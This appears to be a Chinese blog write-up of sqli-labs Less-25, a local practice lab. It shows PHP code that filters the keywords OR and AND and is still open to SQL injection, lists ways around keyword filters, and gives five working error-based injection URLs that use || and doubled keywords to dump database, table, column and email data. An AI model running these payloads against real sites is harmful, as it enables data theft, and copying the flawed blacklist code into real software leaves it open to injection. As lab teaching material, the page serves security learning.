关键代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
本关主要为or and过滤,如何绕过or和and过滤。一般性提供以下几种思路:
-
大小写变形 Or,OR,oR
-
编码,hex,urlencode
-
添加注释/*or*/
- 利用符号 and=&& or=||
- 双写or或and绕过
暂时只想到这些,还有的话可以补充。
本关方法(1)(2)(3)均无效,下面我们利用方法(4)和(5)进行。
报错注入 示例
1、获取当前数据库
http://127.0.0.1/sql/Less-25/?id=1′ || extractvalue(1,concat(0x7e,(select database()),0x7e)) –+
这里使用||来绕过or过滤。

2、获取所有数据库
http://127.0.0.1/sql/Less-25/index.php?id=1′ || extractvalue(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e))–+
这里将information_schema改为infoorrmation_schema来绕过or过滤。

3、查看security库数据表
http://127.0.0.1/sql/Less-25/index.php?id=1′ || extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=’security’),0x7e))–+

4、查看emails表的所有列
http://127.0.0.1/sql/Less-25/index.php?id=1′ || extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema=’security’ aandnd table_name=’emails’),0x7e))–+
这里使用aandnd来绕过and过滤。

5、获取内容
http://127.0.0.1/sql/Less-25/index.php?id=1′ || extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e))–+

参考:https://www.cnblogs.com/lcamry/p/5763002.html
微信扫一扫,打赏作者吧~